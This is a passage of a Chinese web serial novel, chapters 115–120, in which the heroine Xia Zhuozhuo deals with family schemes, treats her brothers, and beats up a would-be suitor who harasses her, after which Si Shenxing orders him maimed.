《全能真千金归来,发现家人住狗窝》 第115章 处理掉她 夏三一开口,几个人都朝夏灼灼那边看去。 她穿着拍摄时换上的白裙,裙摆随微风摇曳,像一朵盛开的白玫瑰。 阳光仿佛给白裙镀上了一层金边,衬得夏灼灼整个人似乎都在发光。 女儿长得真好看。 宁穗香放下球拍走过去。 “见到你喜欢的明星了吗? 夏灼灼有一瞬间的错愕,直到余光瞥见了夏三投过来的暗示的眼神,心里瞬间明了。 她跟夏怀乐一起出门的,却只有夏怀乐先回来了。 所以夏怀乐帮她找的借口,就是她去追星了。 宁穗香不知道夏灼灼的能力和身份,所以理所当然以为自己的女儿只是从乡下回来的普通女孩,天真烂漫,喜欢美好的人事物。 所以夏怀乐说夏灼灼去追星了,宁穗香一点也没怀疑。 夏灼灼一个眼神就明白了夏怀乐的意思,顺着宁穗香的话回答:“见到了。” 为防宁穗香继续追问她答不上,又补上一句:“见了真人,觉得还没我三哥长得帅,浪费了一个上午,以后不追星了,要追就追三哥就够了。” 宁穗香被她孩子气的话逗笑了。 “追不追,都随你,你高兴就好。午饭吃了吗?” “吃了,认识了几个新朋友,一起吃了顿饭,我还打包了两样菜回来。” 夏灼灼举了举手里的饭盒。 夏六立刻接了过来。 “中午没吃饱,我得好好尝尝,妹姐说好吃那就肯定好吃。” 宁穗香奇怪地问:“妹姐是什么?” “是我对小七的昵称。” “你啊!”宁穗香摇摇头,继而笑开了。 夏灼灼也跟着笑。 在外面忙这些,担心那些,但回到夏家,她就觉得身体舒展,心情很好。 她已经从一开始的提防、利用,到现在已经把夏家当成了她真正的家。 家是让人放松的地方。 …… 由于上午出去了一趟,下午夏灼灼不好找借口,就回房间,精心钻研怎么治好大哥的腿。 针灸一直在进行,但还需要外敷。 外敷的药需要慎重考虑。 多一味药少一味药都不行。 而且,在一周之后,她需要用鬼门十三针对夏怀怔进行治疗。 鬼门十三针,一分一毫都不能出错,否则非但治不好腿,还会殃及生命。 而且更重要的是,鬼门十三针需要在患者清醒的情况下做。 她需要想想,该怎么让夏怀征同意治疗。 夏怀征对治好他自己腿的这件事已经彻底放弃了,甚至有些惧怕。 害怕好不容易升起来的希望又被浇灭。 所以怎么说服夏怀征也是一件棘手的事。 因此接下来这一整天,夏灼灼都待在家里没有外出。 而另一边,在夏灼灼面前吃了瘪的江泽也从医院回到了家。 他原本是打算守在门口,等着夏灼灼出来之后再去质问的。 只是还没等到人,手就疼的要命,只好去了医院。 幸好只是脱臼,没有骨折。 但筋骨也伤了,所以行动起来没有那么自如,因而回到家的时候,柳月茹一眼就发现了他的异样。 “你的手怎么了?” “没……” 一个字刚说出口,手已经被柳月茹拉了过去。 “嘶——”他疼得倒吸了一口冷气。 “怎么了这是?”柳月茹吓得一动不敢动。 江泽沉默一阵,还是开口说实话:“妈,我看到夏灼灼了,她没死。” 柳月茹愣了下,随即摇头说:“这不可能,所有人都被火烧死了。你是不是这几天状态不好,所以看错了?” “我不可能看错!这是我第二次见到她了。我还跟她说了话,她也认出我了。也知道,是咱们要把她卖了。” 柳月茹的脸一下子变白了。 “可明明那房子烧了之后,所有人都死在里面了……” “你确定尸体的数量对吗?” 柳月茹没说话了。 她没亲眼看到,所以不知道里面烧死了多少人。 “我打个电话问问。” 她拿起手机就要给村里人打电话,但被江泽拦了下来。 “我都亲眼看到了,还有什么好确认的?” “那她……怎么说?她会不会报警,说咱们把她卖出去了?” “她不会报警的。”江泽冷着眼说:“那场大火烧的离奇,从现在的情况看来,火说不定是她放的。” “那还等什么?咱们报警啊!说她放火烧人!” 江泽看傻子似的看着柳月茹。 “报警说她放火,然后呢?说我们买卖人口?跟她一起被送进去?” 柳月茹噎了下,没敢再说报警的事,只问:“那我们现在怎么办?” 江泽紧了紧手心,说:“把她骗到家里来,她现在跟以前不一样了,变太多了,我们掌控不了她,得想办法把她处理掉。否则我的婚事说不定都会被她搅黄。” “她人在哪里?” 江泽烦躁地捏了捏眉心,说:“我不知道。” “那我们怎么把她骗过来?” 江泽更烦躁了。 他这个妈,一无是处,什么问题都帮他解决不了,只会提出问题。 “你从明天开始,每天蹲在一个公司门口,看到她之后想方设法把她骗回来,公司地址我会给你。” 他对夏灼灼一无所知,只能让他妈在S集团分部门口碰碰运气。 比起对自己这个多年没见的“哥哥”,夏灼灼对他妈的感情会更深。 也更容易骗过来。 柳月茹对儿子的话言听计从,听言立刻点头:“好。” 就在这时,江泽的手机铃声响了起来。 看到来电显示,江泽口罩下的脸微变。 是杜馨月。 平常看到她打电话过来,江泽都很高兴,可现在他却有点害怕了。 因为他的脸……不能让杜馨月看到。 他走到了阳台,接通电话。 “馨月。” 杜馨月的语气很着急。 “阿泽,我听说你受伤了?严重吗?我来看看你。” 这几天江泽一直以工作忙为借口,好几天没见她了。 她本来就想江泽,听说他受伤,顿时更着急了。 “不严重,就是一点扭伤,很快就好了。好了之后我来找你。” “不,我现在就要见你。” “现在不太方便……” “有什么不方便的?” “我是怕你不方便,你爸妈知道你来找我,又要不高兴了。” “没事,我找了借口出门,现在已经到你家楼下了,你准备帮我开门。” 江泽连忙往下看了一眼,果然看到杜馨月从一辆豪车上下来。 江泽的脸瞬间变得煞白。 第116章 他太丑了 他不能让杜馨月看到他! 他的脸现在太丑了。 丑到他都不敢看镜子里的自己,看一眼,他自己都想吐。 何况是杜馨月? 杜馨月从一开始就是看中了他这张脸—— 因为他长得跟她车祸去世的初恋很像。 现在别说像初恋了,他甚至不像人类。 江泽强迫自己冷静下来。 他对着手机说:“我现在不在家。” “啊?”楼下的杜馨月停下了脚步。 “我还在医院。” “那好吧,我去医院找你,你在哪个医院?” 江泽撒谎说自己在中心医院。 “那我去中心医院找你。” “好。” 电话挂断,江泽看到杜馨月回到了车上,长长出了一口气。 等杜馨月到了医院,他可以说自己临时有事去了公司。 中心医院距离杜氏集团有一个半小时的车程,而他家距离中心医院又有一个小时的车程。 来来回回的,杜馨月这种没什么耐心的人很快就会放弃找他。 他今天就能躲过去了。 江泽的如意算盘打得噼啪响。 可就在这时,门铃被人摁响了,传来杜馨月的声音:“有人在家吗?” 柳月茹迈步就要去开门,被江泽拦住。 “别开门,不能让她看到我的脸。” 柳月茹恍然回神,点点头,没敢出声。 然而门口响起密码锁被打开的声音。 江泽猛然想起,自己曾经告诉过杜馨月家门口的密码。 他顾不得许多,转头就躲进了厨房,把厨房门关了起来。 下一秒,杜馨月开门进来了。 看到柳月茹,杜馨月的眉头不悦地皱起来。 没等柳月茹开口,杜馨月率先说:“你新来的保姆吧?耳朵聋了吗?我按门铃你听不见?” 高高在上的语气,让柳月茹把自我介绍全都吞了回去。 未来儿媳妇看不上她…… 她一直都知道,儿子也知道,所以儿子到现在都没敢把她接过来的事情告诉杜馨月。 本来她是想自我介绍的,可杜馨月一开口就把她认定为保姆,不知怎的,她自我介绍的话就说不出口了。 “对不起……我没听到。”她道歉,默认了自己的保姆的事。 杜馨月没理会她。 杜家大小姐是不需要回应一个保姆的道歉的。 柳月茹的脸色又白了一点。 心里有股气无处发泄。 那边杜馨月扭头打了个响指。 是杜馨月的两个保镖。 两个人都抱着个纸箱,纸箱里是大大小小的文件。 “放那儿吧。”杜馨月指了个地方,又对柳月茹说:“我帮阿泽请了假,这几天他会在家里办公,你帮他收拾一下,搬到书房去,我去医院接他。” 说完,她也不等柳月茹回答,转头就走。 房门被“嘭”一声重重关上。 柳月茹觉得这门摔到了她的脸上,两只手紧紧攥着拳头。 不多时,江泽从厨房悄声走了出来,探头探脑往玄关处看。 “人走了?” 柳月茹转身,一双眼睛布上一层红血丝,细看之下更显狰狞。 江泽吃了一惊,问:“妈,你怎么了?” 柳月茹张了张嘴,有很多话想说,可到了嘴边,只变成了一句:“你得想办法尽快跟她结婚。” 结了婚,杜馨月就是她老江家的人。 再生个孩子,套牢她,她就再也跑不掉。 到那个时候,她想怎么报复就怎么报复。 但江泽不知道柳月茹为什么突然说这个。 家里的门都很厚,所以隔音很好,外面发生了什么他不知道。 他不由得伸手摸了下自己的脸。 哪怕隔着口罩,都能感觉到脸上的凹凸不平。 他烦躁地说:“我不想早点结婚吗?” 如果不是这该死的农村出身,他早就跟杜馨月结婚了。 不过他骨子里还是孝顺的,没把后半句话说出口,转身回了房间。 他要查一查,沪城还有哪家皮肤科技术好。 而一个多小时后,正如他所预想的那样,杜馨月听说他又去公司了,不耐烦地说改天再来看他。 杜馨月心里有他,但更多的是她自己。 把脸治好后,他的确得想想办法,让杜馨月早点跟他结婚。 转眼到了第二天。 夏灼灼让夏六找借口带她出门。 两个人先去了中心医院看望赵缇。 让夏灼灼意外的是,赵缇的孙子赵修凯居然跟夏琉璃一起出现在ICU门口。 赵修凯等在这里是应该的,但夏琉璃怎么会跟他一起? 而且两个人的言行举止好像很亲密。 很奇怪。 夏琉璃的男朋友应该是杜浩然才对。 她眼高手低,看不上赵修凯的。 夏灼灼很快猜到原因:杜浩然不要她了。 这是必然发生的事情,只不过比她预想的还要快。 “夏小姐。”赵修凯主动上来打招呼。 夏灼灼无视他,只问医生:“人醒过吗?” 那医生正是那天原本的主刀医生,对夏灼灼很崇敬。 “昨天夜里醒过一次,不过才几秒钟就又昏睡回去了。” 夏灼灼点头,又问了几个赵缇的身体数据。 不算太好,也不算太坏。 赵缇的年纪毕竟大了,有这样的数据已经很不错了。 “那就麻烦你们,多帮我照看一点。” “应该的。” 夏灼灼点点头,直接带着夏六走了。 从始至终都没有看赵修凯一眼,仿佛他不存在。 赵修凯的脸色很难看,夏琉璃同样也是脸色难看。 只是原因各有不同。 一个是被无视而感到尴尬愤怒,另一个则是看到夏灼灼,身体条件反射就会出现厌恶。 “我们也走吧,医生说今天也不一定能醒过来,我请你吃午饭。”赵修凯很快调整好心态,微笑着对夏琉璃说。 夏琉璃现在住在赵修凯名下的一间房子里。 只有一百多平,跟之前杜浩然的三百平大平层相比,小了三分之一。 她心里很不屑,但表现出来的却是满满的感激。 赵修凯被她骗的团团转。 她微笑着点头说好。 走的时候,却眼神幽深地通过玻璃窗看了眼ICU里的赵缇。 这个老不死的,到底什么时候断气? 他一天不断气,就是一天的定时炸弹。 她得想个办法才行。 而夏灼灼离开ICU后,却没有直接离开医院,而是带着夏六去了一个病房。 第117章 为她戒烟 夏六跟在夏灼灼后面,奇怪地问:“你还有朋友也在住院吗?” 夏灼灼脚步微停。 “你也认识,见到他,你就知道了。” 夏六不明所以地“哦”了一声,但脚步却加快了,因为心里更好奇了。 夏灼灼的那位“朋友”在另一栋住院楼。 两人到了病房,里面却一个人影也没有。 夏灼灼只好去问了前台。 “请问1号床的病人呢?” “不在病房吗?” “不在。” 夏灼灼眉头微皱,却突然想起,来护士台的路上,路过安全通道,里面好像有人。 她转头就带着夏六往安全通道去。 通道的门被打开,光照了进去,可以清楚地看到夏怀武正坐在楼梯上抽烟。 夏六一愣,还没来得及说什么,夏灼灼已经一个健步冲上去,直接抢过他手里的烟,丢在地上踩灭。 夏怀武错愕地看向她,眼里有不爽。 可看到是夏灼灼后,那不爽又消失了,只剩下欣喜。 “小七?” 夏灼灼才不管他脸上是什么表情,沉着脸说:“你知不知道这是医院?知不知道,楼上是呼吸内科?” 夏怀武表情一僵,从台阶上站起来。 “对不起。” “你不是对不起我。你要抽烟,下楼出去抽,别害了别人。” 夏怀武低下头:“好。” 夏六在这时候走过来。 “五哥,你怎么在这里?你不是在外市吗?” 夏怀武看了夏灼灼一眼,不知道该怎么解释。 夏灼灼已经很信任夏六,直接把情况说了一遍,听得夏六脸色白了又白,担心地望着她:“你不会也受伤了,没告诉我们吧?” 夏灼灼摇头:“我没受伤。” 夏六长出了一口气。 “你没受伤就好,吓死我了!一个人闯古武堂,我想想都害怕,以后千万不要做这么冒险的事情了。” “我知道了。” 夏六又笑起来。 “不过,妹姐,你真的好厉害!外面的人都以为古武堂是官方剿灭的,原来是你!你到底还有什么不会的?” “我不会的挺多的。” 夏怀武看着两个人语气熟稔又亲近地说话,心里很不是滋味。 原本……他也可以跟小七这么亲近的。 夏六感觉到了夏怀武的低落,走过来拍拍他的肩膀。 “五哥,你还能抽烟就说明没事,以后离古武堂远一点,免得家里人都为你担心。” 夏怀武动了动唇,没说话。 因为很羞愧。 家里人早就让他脱离古武堂了,他不肯,结果落得这个下场。 如果不是小七,他现在已经死了。 他非但帮不上家里,还差点害了小七,实在是……羞愧。 “回病房说话吧。” 夏灼灼没多给夏怀武一个眼神,转身出去。 夏六叹了一口气,对夏怀武说:“五哥,你别怪小七,以后……慢慢来,会好的。” “嗯,我不怪她,是我自己不好。” “这么说来,你看清小七跟琉璃谁才是真的对你好了?” 夏怀武又是沉默。 他对夏灼灼是改观了,可是对夏琉璃……还是有点讨厌不起来,毕竟是他从小宠到大的妹妹,而且,他都是从别人嘴里听到的夏琉璃的事情。 不亲眼看见,他不会轻易相信。 他就是这样一个人。 夏六摇摇头,不想跟他多说什么了。 看清一个人只要一瞬间。 五哥只是还没遇到这个“一瞬间”罢了。 没遇到之前,说什么都是白搭。 谁让他这个五哥是个一根筋的人呢? 三个人回了病房,夏灼灼让夏六把门关上。 她打量了眼夏怀武的脸。 脸上已经看不出什么伤了。 “我打算让你明天出院。”她开门见山地说:“有件事,我要交给你做。” 夏怀武听到这话,心里既高兴,又有点怅然。 她不是想他回家,而是需要他做事。 “听你的安排。”他说。 夏灼灼不避讳夏六,直言道:“古武堂已经被清楚,但是前任堂主下落不明,我需要你想办法找到他。” 司慎行几次提醒她要小心这个前任堂主,她不是坐以待毙的人,所以要主动出击。 但暗部刚到沪城,根基还没稳,虎头帮又还没清理干净。 夏怀武很了解古武堂,所以他是最佳人选。 当然,夏灼灼想起他,还有另一个原因—— 这两天,妈妈老是提起他。 当妈的人,总是心系孩子,尤其宁穗香,是个非常善良的女人。 可这样的女人,却一点不提自己被带走调查的老公,所以夏灼灼很确定,这件事有蹊跷。 宁穗香肯定是知道夏云海不会有事,所以才很放心。 夏灼灼本来都打算动用暗部的力量查一查夏云海的事情,可就是宁穗香的反常让她没有动手。 她怕这是宁穗香和夏云海的一局棋。 动用暗部,怕毁了他们的计划。 “你能做到吗?”夏灼灼问夏怀武。 夏怀武立刻点头:“可以!我知道几个地方是他们有可能在的地方,尽快帮你找到他。” “行,那你明天出院,记得跟妈说一声,别突然回来,反而吓到她。” 话里话外都是对宁穗香的关心,并不在意他夏怀武这个人。 夏怀武又有些失落起来,但还是强撑着笑。 “好,我知道该怎么办了。” 事情说定,夏灼灼一分钟都不多留,转身就往外走。 夏六想叫住夏灼灼。 他本能地希望兄妹之间都是和睦的,愉快的,互相信任和依靠的。 可想到安全通道时,他问夏怀武是不是看清夏琉璃的时候,夏怀武的反应时,还是把话给咽了回去。 算了,等五哥看清了夏琉璃,以后有的是机会。 “五哥,我们走了。” 夏六还是跟夏怀武打了声招呼。 夏怀武笑得很僵硬:“好,明天见。” “明天见。” 夏六摆摆手,快步追上了夏灼灼的脚步。 夏怀武望着两个人的背影,呼吸有些困难。 心情烦躁的时候,夏怀武就想抽烟。 可想到夏灼灼丢掉他烟时的表情,他又把烟塞了回去,顺手就把烟盒丢掉了。 从今天开始,他打算戒烟。 …… 中午两个人打算在外面吃,换换口味。 夏六提议吃鲁菜,夏灼灼不挑食,直接点头答应。 两人去了一家很出名的鲁菜餐厅。 结果没想到,遇上了一个讨厌的人。 第118章 未婚夫是他?可笑 这家鲁菜餐厅消费很高,餐厅人并不是很多。 “小七,这里要去后厨点菜,你跟我一起去吗?” 这家餐厅就是以食材新鲜出名的,水产的东西,都由客人自己挑选。 夏灼灼摆摆手:“你去就好。” “行。”夏六早已经熟知夏灼灼的口味,所以不怕点了她不爱吃的,跟着服务生去了点菜区。 只是夏六刚走,就又有个服务生走过来,手里端着一瓶名贵的白葡萄酒。 “是夏小姐吗?” 夏灼灼点头,目光落在服务生手里的酒瓶上,面露疑惑。 “你送错了,我们没点酒。” “这是楼上包厢里的客人送您的酒。现在帮您打开吗?” 夏灼灼抬头看了眼二楼。 只能看到一个玻璃窗,后面有人影,她看不清。 “楼上的是谁?叫什么名字?” “这个我就不清楚了,也是跟您一样,刚来吃饭的客人。” 夏灼灼“哦”了声,说:“那还麻烦您帮我送回楼上,我不喝不认识的人的酒。” “这……” 服务员面露难色。 夏灼灼直接拿出一张百元大钞。 “麻烦你跑一趟,这是小费。” 服务员一天的工资也就一百多块,当即喜笑颜开。 “不辛苦,是我应该的。” 说完拿了钱就把酒送回了楼上。 …… 二楼包厢里。 白季勇正接受狐朋狗友的吹嘘。 “勇哥,你艳福不浅啊,未婚妻居然长得这么漂亮。” 从窗户那边走过来的男人一脸羡慕地说。 白季勇眉头一挑,心里很受用。 那天婶婶叫她去夏家参加夏灼灼的接风宴,明里暗里要撮合他跟夏灼灼。 没想到半路跳出个司慎行来,说什么他是夏灼灼的未婚夫。 当时他还吓了一跳。 后来回家跟叔叔婶婶一说,他们说,是他太轻挑了,司慎行是为了帮夏灼灼解围才那么说的。 他就放心了。 但因为那天没得手,他心里对夏灼灼更加心心念念。 没想到刚才去卫生间,碰到了夏灼灼来也这里吃饭。 不过他脸上却露出一副无奈的样子。 “不是我选的,是我叔叔和婶婶帮我定下来的。我真是受够了他们,都什么年代了,还包办婚姻。还好她长得不算丑。” 旁边人都知道白季勇说的叔叔就是白念城。 他们就是看中了白季勇跟白念城的关系,所以才跟白季勇这种不学无术的人混在一起。 否则就凭白季勇自己爹妈的身份,还不配跟他们交朋友。 几个人互相对视一眼,更加热情地吹捧。 “什么叫不算丑啊?我刚才看了眼,跟天上的仙女一样。” “季勇,你身在福中不知福了哈!” 白季勇耸耸肩。 “什么身在福中不知福,我还看不上她呢。家里都破产了……要不是叔叔非得让我娶她,她又见了我一次就要死要活非得嫁给我,我才不乐意搭理她。” 白季勇说着说着,把自己也骗了过去。 自大的男人,总喜欢自己圆自己的话。 话音刚落,包厢的门被服务生推开了。 他的手里还捧着那瓶白季勇让他送下去的白葡萄酒。 “几位先生。”服务生端着酒走上前说:“楼下那位小姐让我送回来。” 包厢里一静,所有人都看向白季勇。 白季勇尴尬地摸了下鼻子。 好在一秒服务生说:“那位小姐说她不喝不认识的人的酒。” 立刻有人缓解尴尬气氛:“难怪送回来了,季勇,你没告诉人家你是谁,人家怎么敢喝这个酒?” 白季勇脸上这才重新有了笑容。 他对服务生说:“跟她说,是她的未婚夫送的。叫她放心喝。” 说完,也给了服务生一点小费。 但比夏灼灼给的多的多。 服务生反而不敢收了。 夏灼灼也是想到这点,所以只给了一百块。 服务生诚惶诚恐地推辞掉小费,又拿着酒瓶下去了。 他把原话复述给夏灼灼。 “未婚夫?”夏灼灼翻了个白眼。 她当是谁,原来是司慎行。 都说了,别开口闭口未婚夫,他们的婚约已经作废,这人是耳朵漏风,所以左耳朵进右耳朵出吗? 不过,他的病已经好了? 已经能来喝酒了? 这人比较乖张,别不会把头孢和酒一起吃吧? 想到这,夏灼灼有点坐不住了。 虽然她自己也不知道为什么会坐不住。 “他们在哪个包厢?我上去看看。” 服务生连忙报出包厢号。 夏灼灼又拿了酒,往楼上走。 不过怕夏怀瑾回来看到她没人会着急,所以发了条信息给他,告诉自己去楼上201包厢找司慎行了,很快就下来。 夏怀瑾回了个“OK”。 夏灼灼便放心到了楼上。 来到门口,她伸手敲门,里面的谈笑声静下来,传出一道熟悉的声音。 “进来。” 夏灼灼想不起来这道声音是谁的,但是绝对不是司慎行的。 司慎行的声音富有磁性,很好听。 冷下声的时候,能吓死人。 她很奇怪,怎么不是司慎行说话。 不过她也没多想,拧开门把手开门进去。 包厢里的人都是通过窗户打量夏灼灼的,距离远,隔着玻璃也看不十分清楚。 现在看到真人,都是眼睛一亮又一亮。 比隔着玻璃看更抓人,挠心。 只是眼神不太好。 怎么看上了白季勇这种人? 不过看中的可能不是白季勇,而是白家的权势。 夏家需要白家帮忙。 这么想想也就不奇怪了。 只是可惜了这么个大美女,要鲜花插在牛粪上了。 但众人脸上倒是没有表露出分毫,笑意盈盈地跟夏灼灼打招呼。 “夏小姐。” “什么夏小姐?得叫嫂子!” 白季勇盯着夏灼灼,没说话,但那双贪婪的眼睛已经说明了一切。 而夏灼灼也终于看到了白季勇。 不怪她眼神不好,是白季勇太过于普通,不仔细看,根本不会注意到他。 看到是白季勇,夏灼灼胃里一阵犯恶心。 她自己都没注意到,司慎行说她是他的未婚妻,她虽然不喜欢,但也没有不高兴。 但白季勇,她连生理上都感到厌恶。 大概她骨子里也是个颜控。 人对长得漂亮的人,天生有好感。 白季勇并没察觉到夏灼灼的情绪变化,在狐朋狗友的起哄中,不要脸地走上前。 第119章 真把自己当大小姐了? 白季勇的眼神赤裸无比,像是直接能把一个女孩子的衣服剥开。 这样的人,哪怕长得好看点,也会让女孩子本能地感觉不舒服。 他眼神定在夏灼灼身上,却故意用不在意的语气说:“只是送了你一瓶酒而已,没值几块钱,至于特意上来道谢吗?真是没见过世面。” 的确是没见过世面,他早知道,夏灼灼是从乡下来的。 乡下人,能见过多少世面? 但又怕夏灼灼不高兴,于是又补了一句:“算了,既然来都来了,就坐下一起吃饭吧。跟你在一起的那个是你六哥吧?也叫他上来吧。今天这顿饭,我请。” 夏灼灼觉得好笑极了。 很少能遇到这么可笑的人。 她抬起拿着白葡萄酒的手,随即松开。 “哐当”一声,酒瓶直接摔在地上。 溅起来的酒水湿了白季勇的裤腿。 所有人都愣住了。 这是怎么个事儿? “夏灼灼,你疯了?”白季勇怒不可遏。 “白先生,上次在我家,我们跟你说的话你都忘了?还是你耳朵不好使,没听到?” 白季勇的脸黑了黑。 被夏家赶出去,又被司慎行的人抓起来打了一顿丢到家门口的羞辱再次浮上心头。 其他人都错愕地看看白季勇。 不是说这女的要死要活地想嫁给白季勇吗? 怎么现在看着……不是这么个事? 只听夏灼灼再次开口:“白先生,这是最后一次。但凡你再敢以我未婚夫的身份字句,我会直接让你永远开不了口。” 她的眼中是冷厉的光,不像开玩笑。 但白季勇根本不怕她。 一个乡下来的破落户,真把自己当千金大小姐了? 他白季勇是说杀就能杀的? “贱人,你别给脸不要脸。我能娶你是你的荣幸!立刻跟我道歉!并且把我的裤腿擦干净!” 夏灼灼人狠话不多,一抬脚,直接踹翻了白季勇。 她今天穿着高腰牛仔裤,可以把腿抬得很高。 白季勇往后一倒,摔在了餐桌上。 餐盘里的油渍全黏在他的后背上,让人恶心。 其他人连忙上前,一边扶住白季勇,一边帮着擦油渍。 可这让白季勇更加生气。 夏灼灼今天让他丢尽了脸,他绝不会放过她。 他一把推开帮忙的人,几步朝夏灼灼走过去。 “你找死!” 他抬手就要扇夏灼灼的耳光,但被她一只手直接拿住。 只轻松一个擒拿手,就把白季勇摁在地上,动弹不了。 他常年玩女人,喝酒,身体早就亏空了,根本不是夏灼灼的对手。 “该死的!你放开我!来人!帮忙啊!” 白季勇脸颊赤红,露出狰狞的表情。 其他人反应过来,连忙上前拉人。 夏灼灼嫌白季勇脏,在其他人过来之前就松开了白季勇,顺手拿了湿巾擦手。 这行为无疑触怒了白季勇。 他有这么脏吗?! “把门关上!我今天一定要好好教训她!否则等她嫁给了我,就更加无法无天了!” 其他人有些犹豫。 “这不太好吧?” 白季勇看过去。 “你可以不帮忙,但你的生意,我也不会让我叔帮你的。” 这话一出,那人立刻就不犹豫了。 他们放下身段讨好白季勇这个无业游民,要的不就是想走白家这条捷径吗? “嘭——” 包厢的门被关上了,并且反锁了起来。 但关门的,却不是白季勇的人,而是夏灼灼。 关门,才好打狗。 不好好打一顿,这狗崽子下次见了她还咬人。 …… 楼下那边。 夏怀瑾已经点好了菜。 两个人的饭量都不大,但是他还是点了好大的一桌。 不能委屈了小七。 哪怕他现在已经知道了夏灼灼并不是他之前以为的那样,在乡下割猪草,吃苦受累,他还是想把好的都给夏灼灼。 可是等到菜都上了好几道了,夏灼灼还是没下楼。 是司慎行找妹姐有什么事吗? 不知怎的,他内心有些惴惴。 可想到司慎行几次帮助夏灼灼,而且妈也提起过司慎行跟夏灼灼的婚约,他还是选择相信司慎行不会欺负了他的妹姐。 他招呼服务生,让他们上菜慢点,免得夏灼灼下楼后只能吃冷饭。 服务生应是。 然而就在这时,夏怀瑾却透过窗户,看到了马路对面一道熟悉的人影。 身形高挑,穿着黑色西装,容貌出众。 正从一辆迈巴赫上下来。 不是司慎行又是谁? 可妹姐不是说,她上楼找司慎行去了吗? 可人明明就在马路对面,并不打算朝这边来。 夏六本能地觉得有古怪。 不行,他得去问问! 夏六站起身就朝外面跑去。 穿过车流的时候,司慎行已经进了对面的一家高档西餐厅。 大概是被包场了,门口没有别的客人进出,只有几个保镖守着。 夏六要进去的时候,被保镖拦了下来。 “抱歉,餐厅今天不接待客人!” “我找司慎行……司先生。” 两个保镖对视一眼,还是选择不放人。 想见少爷的人多了。 不是什么人都能见到少爷的。 夏六急了。 “我有重要的事找他。” “那你先在门口等着吧,我们少爷今天也有重要的事要谈。等他谈完,你就能见到他了。” “来不及!” 他的第六感越来越强烈。 那是不好的预感。 眼看着司慎行迈步往餐厅二楼去了,夏怀瑾也顾不上许多,扯开嗓子就喊:“司先生!!” 司慎行上楼的脚步一顿,朝声音响起的方向看来。 是夏怀瑾。 夏灼灼的六哥。 司慎行俊眉一皱,转身往楼下走。 跟在旁边的手下连忙提醒:“少爷,他们已经在楼上等了。” “跟他们说,我有点事耽搁了,很快就来。” 说完,他再不管手下提醒什么,快步下楼,往餐厅门口走去。 两个保镖见状,连忙退开一步,让夏怀瑾进去了。 “有什么事吗?”司慎行率先问道。 夏怀瑾也顾不上什么礼节,开门见山地把经过说了一遍。 “我们在对面的粤品轩吃饭,点菜的时候,小七给我发消息,说上楼去找你。可是我等了半天,却看到你在马路这边,所以过来问问……” “还问什么!” 司慎行没继续听下去,迈步就朝对面跑去。 第120章 司慎行除祸害 夏怀瑾立刻就要追上去。 可车流太多,他只迟疑了一秒,就被司慎行远远甩在后面了。 司慎行似乎压根就不担心车子会不会撞到自己,只目标明确地往对面的粤品轩跑。 两个车道的司机吓得直按喇叭,踩急刹车。 好在人跑得快,他们没撞上人,却忍不住拉下车窗大骂。 司慎行的保镖跑了过去,废话不多说,直接塞钱进车窗。 几个司机就不再说话了,拉上车窗踩油门走人。 他们甚至觉得走运。 只踩了个刹车,就拿到了一大笔钱。 也不知道刚才跑过去的,是什么身份的人,出手这么大方。 夏怀瑾也借此机会跑到了对面粤品轩。 司慎行已经跑到了二楼。 只是不知道是哪个包厢。 正好夏怀瑾跑过来,说是201。 司慎行转而来到201门口,拉门把手却拉不开。 有人在里面把房门反锁了。 司慎行双眸一沉,叫夏怀瑾让开,然后自己后退两步,突然一个健步冲过去,一脚就把门锁踢坏了。 而包厢的门也缓缓打开。 然而眼前的这一幕却让所有人,包括司慎行在内都愣住了。 只见地上横七竖八地躺着几个男人,一副痛苦至极的样子。 而夏灼灼的脚,正踩在一个男人的脸上。 那男人还在说着难听的话,大概是不会放过她,会在床上弄死她之类的恶心人的话。 夏灼灼正要再次动手,就听到了房门被踢开的声音。 她还以为是白季勇的人,然而脖子一转,就看到了司慎行。 以及跟在司慎行后面的夏怀瑾。 今天是阴天,包厢里的灯全都被打开了。 灯光照在夏灼灼和司慎行的脸上,两人的眸子出奇一致地水亮。 “你怎么来了?” 她问。 司慎行已经看到了夏灼灼脚下的白季勇,不用问就知道发生了什么。 这蠢猪一样的东西顶着他的头衔,把夏灼灼骗到了楼上。 可惜夏灼灼身手好,白季勇偷鸡不成蚀把米,一屋子的人全都被打了。 这些人好几个司慎行还挺眼熟的。 都是高门的少爷,金尊玉贵养着的,根本不是夏灼灼的对手。 看她没事,司慎行心中的一颗大石头落地。 他也是关心则乱,夏灼灼可是一个人能打翻整个古武堂的人。 但就是忍不住担心。 怕她中了什么陷阱。 现在放松下来,他几步走上前,回答夏灼灼的问题。 “我正好在对面,你六哥看到觉得奇怪,就过来问我了。” 他就急哄哄地来了。 夏灼灼心底泛起一丝涟漪。 但这涟漪很快被抚平。 夏灼灼收回了脚。 白季勇正要爬起来,被司慎行追上来的几个保镖直接摁回了地上。 下一秒,司慎行踩着他的胸口蹲下来。 “上次在夏家,我跟你说的话你全忘了。看来是刚子的动作还是太温柔了,所以你记不住打。” 白季勇浑身一抖。 “你、你为什么要帮她?” 司慎行嗤笑一声。 “你果然是记不住打,也记不住话。我说过的,她是我的未婚妻,我不帮着她,难道帮你?” “不可能的……”白季勇摇头:“叔叔和婶婶说,你不可能娶她……” “那你叔叔和婶婶也是脑子有问题的,可惜他们今天不在,否则我连他们一起打。” 白季勇瞳孔一阵紧缩。 司慎行连他叔叔和婶婶都不放在眼里,何况是他? 白季勇终于感觉到了害怕。 夏灼灼打了他的人的时候,他不害怕。 夏灼灼把他打得趴在地上的时候,他也不害怕。 因为他知道自己背后有人。 有白家作为靠山,他就算吃了点苦头也不怕,因为他会把这些苦头加倍奉还。 可碰上司慎行这么个天不怕地不怕的东西,他终于怕了。 “我错了……司先生……我再也不敢了,以后我不会再见她了……” 话是这么说,可内心深处,他仍旧没打算放过夏灼灼。 他会把夏灼灼在床上弄死! 用他的男子气概,报今天的仇! 然而他小看了司慎行的手段,也小看了司慎行的狠。 司慎行收回脚,吩咐手下。 “这种东西,留着也是个祸害,不是害灼灼,就是害其他女孩子。不如把害人的东西剁了喂狗,让他再也害不了人。” 他要废了他。 白季勇倏然瞪大眼睛,冷汗瞬间就从额头上冒出来。 “司先生,不要……我真的知道错了!我再也不敢了……” 这次,他是真的不敢了。 哪怕再恨夏灼灼,也不敢对她怎么样了。 他彻底怕了。 但司慎行眼底毫无怜悯,只歪头揉了揉耳朵。 仿佛白季勇的声音脏了他的耳朵。 旁边的手下会意,不顾白季勇的求饶,直接把人往外拖。 司慎行提醒他们:“记得当着白念城夫妇的面废了他,让那两位也长个教训。” 白念城的地位很高,哪怕是新任的孙峥跃都要给白念城面子。 